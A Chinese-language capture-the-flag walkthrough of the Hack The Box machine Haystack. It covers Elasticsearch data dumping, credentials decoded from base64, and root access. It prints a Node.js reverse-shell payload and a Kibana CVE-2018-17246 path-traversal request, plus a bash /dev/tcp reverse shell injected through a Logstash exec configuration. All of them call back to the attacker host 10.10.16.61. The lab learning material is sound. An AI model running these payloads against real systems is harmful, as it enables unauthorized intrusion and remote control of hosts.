Hack the box靶机实战:Haystack

语言: CN / TW / HK

介绍

目标: 10.10.10.115(Linux)

Kali: 10.10.16.61

HayStack 在 HTB 里面的难度评级是简单,但其实它一点都不简单。在一堆西班牙语中找到用户名和密码真的好头痛。 对于 root 权限,你应该对 ELK 有基本的理解。因此,这台机器还是比较新颖的。随带提一句,前段时间出现的 Kibana RCE 漏洞就可以拿来利用。

信息枚举

老规矩,用 nmap 扫一轮:

# Nmap 7.70 scan initiated Sun Jun 30 01:10:53 2019 as: nmap -sT -p- --min-rate 1500 -oN ports 10.10.10.115
Nmap scan report for 10.10.10.115
Host is up (0.27s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9200/tcp open  wap-wsp

检测到的服务:

# Nmap 7.70 scan initiated Sun Jun 30 01:13:05 2019 as: nmap -sC -sV -p22,80,9200 -oN services 10.10.10.115
Nmap scan report for 10.10.10.115
Host is up (0.38s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
|   256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_  256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp   open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: 502 Bad Gateway

对于端口 80,只发现了一张 needle 图片,就真的只是一个针而已,其实这只是靶机作者的寓意而已(大海捞针)。可以使用 Exiftool 来分析图片,但是什么都没有分析出来。使用 gobuster 来爆破路径,但是一个有用的路径都没有发现。

nmap 好像并不能探测 9200 端口。但是如果你熟悉 elasticsearch 的话,你应该非常熟悉这个端口。 Elasticsearch 是最近特别好的非关系型数据库。这里面似乎有很有趣的东西,我们稍后再具体讨论。

漏洞利用

在上面,我们已经讨论了相关端口。Elasticsearch 应该是问题的关键。先想办法获取 elasticsearch 中的数据。Elasticsearch 默认一般是没有鉴权的。因此,我们可以想办法获取里面的数据。一开始,我尝试使用 kibana 来分析数据。Kibana 是 ELK 技术栈的一部分之一,对于分析 elastcisearch 的数据很方便,而且支持多种查询条件和语法。使用非常简单,只需要下载 文件 然后解压。在运行 kibana 之前,只需要修改config.yml里面的elasticsearch.url,将其配置为10.10.10.115:9200即可。

访问 kibana,你可以发现存在两个索引:bank以及quotes。索引bank好像是银行用户信息的数据,看起来好像没有有用的信息。对于索引quotes,我们发现里面都是西班牙语的句子。说实话,西班牙语看着都头疼,别说在里面找东西了。Kibana 这样去找的话其实还挺困难的。而且quotes索引里面的文章看起来像是一个文章。所以,最好还是一次性把quotes索引里面所有的数据弄出来。

elasticsearh-dump 可以拿来导出 elasticsearch 中的数据。可以通过npm install elasticdump -g安装工具,接着导出数据:

elasticdump \
  --input=http://production.es.com:9200/quotes \
  --output=quptes.json \
  --type=data

结果是由包含多个键值对的对象数组的 JSON 数据。这里面最重要的就是里面的 quote 属性。直接阅读 JSON 也不是很方面,而且里面 id 的顺序可能很重要。所以,我写了一个脚本可以将里面的 quote 按照 id 排序,并将他们拼接在一起。

import json
result = {}
txt = ""
with open("quotes.json") as f:
  data = f.readlines()
  for ele in data:
    obj = json.loads(ele)
    id = int(obj["_id"])
    result[id] = obj["_source"]["quote"]
  for i in sorted(result.keys()):
    print(i)
    txt = txt + result[i] + "\n\n"
with open("result.md", "w") as f1:
  f1.write(txt)

现在,我们就有了最终结果。阅读起来方便多了,我将这个 文件 放在了 Github。如果你使用 Chrome 打开这个文件,你可直接右键选择翻译,这样我们要找的东西就明显多了。在这篇文章可以找到两个有趣的字符串。

Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg
Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=

如果将这两句话翻译一下:

我已经保存了这台机器的密码: dXNlcjogc2VjdXJpdHkg
密钥不能丢,我保存在了这里: cGFzczogc3BhbmlzaC5pcy5rZXk=

后面的字符串使用 base64 进行编码,解码之后,我们就可以看到对应的用户名和密码。通过这个用户名和密码就可以 ssh 登录机器了。

说实话,其实我不是很喜欢这台机器的普通用户的部分。不过也正如这台机器关键的一句话:你需要海底捞针。

提权

如果你仔细看一下这台机器,你就会发现这台机器就是使用了 ELK。你可以在机器里面找到 kibana 以及 logstash。如果你谷歌kibana exploit,你可以找到 Github 里面的 CVE-2018-17246 ,里面有详细的利用过程。不过其实通过 kibana 最新的漏洞 CVE-2019-7609 也是可以的。

然而,有个问题是 kibana 的服务只是在本地运行,因为它配置项里面没有配置对外开放。所以你不能直接从外部访问 kibana 服务。可以通过 ssh 重定向网络流量。

ssh 5601:localhost:5601 security@10.10.10.115

这样我们就可以通过 localhost:5601 访问 10.10.10.115 机器里面的 kibana 服务了。将漏洞利用代码的 server.js 文件放在目标机器里面的 tmp 目录。

// server.js
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1234, "10.10.16.61", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

我们可以通过 burp 来实现,记得先设置 nc 监听: nc -lvnp 1234

GET /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/server.jssudo -l HTTP/1.1
Host: localhost:5601
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5601/app/kibana
content-type: application/json
kbn-version: 6.4.2
origin: http://localhost:5601
Connection: close

稍等一会,现在我们就是 kibana 用户了。

但是我们还不是 root 用户!不要沮丧,继续弄。如果我们仔细研究一下这台机器里面的 logstash,我们会发现一件有趣的事。我们发现用户组 kibana 拥有 logstash conf.d 文件夹的写权限。

ls -lah
total 52K
drwxr-xr-x.  3 root   root    183 jun 18 22:15 .
drwxr-xr-x. 83 root   root   8,0K jun 24 05:44 ..
drwxrwxr-x.  2 root   kibana   62 jun 24 08:12 conf.d
-rw-r--r--.  1 root   kibana 1,9K nov 28  2018 jvm.options
-rw-r--r--.  1 root   kibana 4,4K sep 26  2018 log4j2.properties
-rw-r--r--.  1 root   kibana  342 sep 26  2018 logstash-sample.conf
-rw-r--r--.  1 root   kibana 8,0K ene 23  2019 logstash.yml
-rw-r--r--.  1 root   kibana 8,0K sep 26  2018 logstash.yml.rpmnew
-rw-r--r--.  1 root   kibana  285 sep 26  2018 pipelines.yml
-rw-------.  1 kibana kibana 1,7K dic 10  2018 startup.option

conf.d 是 logstash 的配置文件夹,一般由3个文件组成。查看一下这个目录,你就会发现有趣的事。在 output.cong 里面存在一个命令执行。如果你对 logstash 有基本的人事,你应该知道这3个文件的作用分别是啥。 input.conf 是用来配置数据源。 filter.conf 是用来处理数据,支持多种插件,非常强大。 output.conf 是用来输出处理后的数据,比如输出到 elasticsearch 或者文件中。我们可以找到 output.conf 里面的 exec

因此利用过程就非常清晰了。在 /opt/kibana/ 文件夹里面创建一个前缀为 logstash_ 的文件。注意确保文件里面的内容可以被 grok 正确的解析,grok 是 logstash 一个通过正则解析数据的插件。然后这个命令就可以成功执行了。这里面最重要的部分就是如何创建可以被正确解析的 comando 内容了。如果你知道如何使用 grok 就非常轻松了。 Grok Debugger 是一个还好用的在线调试 grok 表达式的工具。

表达式非常简单。如果你熟悉正则的话,这个表达式很好理解。

filter.conf

filter {
        if [type] == "execute" {
                grok {
                        match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
                }
        }
}

input.conf

input {
        file {
                path => "/opt/kibana/logstash_*"
                start_position => "beginning"
                sincedb_path => "/dev/null"
                stat_interval => "10 second"
                type => "execute"
                mode => "read"
        }
}

output.conf

output {
        if [type] == "execute" {
                stdout { codec => json }
                exec {
                        command => "%{comando} &"
                }
        }
}

现在,我们已经知道如何创建相应的 comando 里面。下一步就是选择执行命令了。这台机器里面没有 nc。但是机器里面有 python 和 perl。所以反弹 shell 的命令会有一点场。最后选择了反弹命令: bash -i >& /dev/tcp/10.10.16.61/1234 0>&1 。将相应的内容写入到文件中:

echo "Ejecutar  comando: bash -i >& /dev/tcp/10.10.16.61/1234 0>&1" > /opt/kibana/logstash_1.txt

将 nc 设置监听端口 1234,稍等一会,我们就是 root 用户了。

分享到: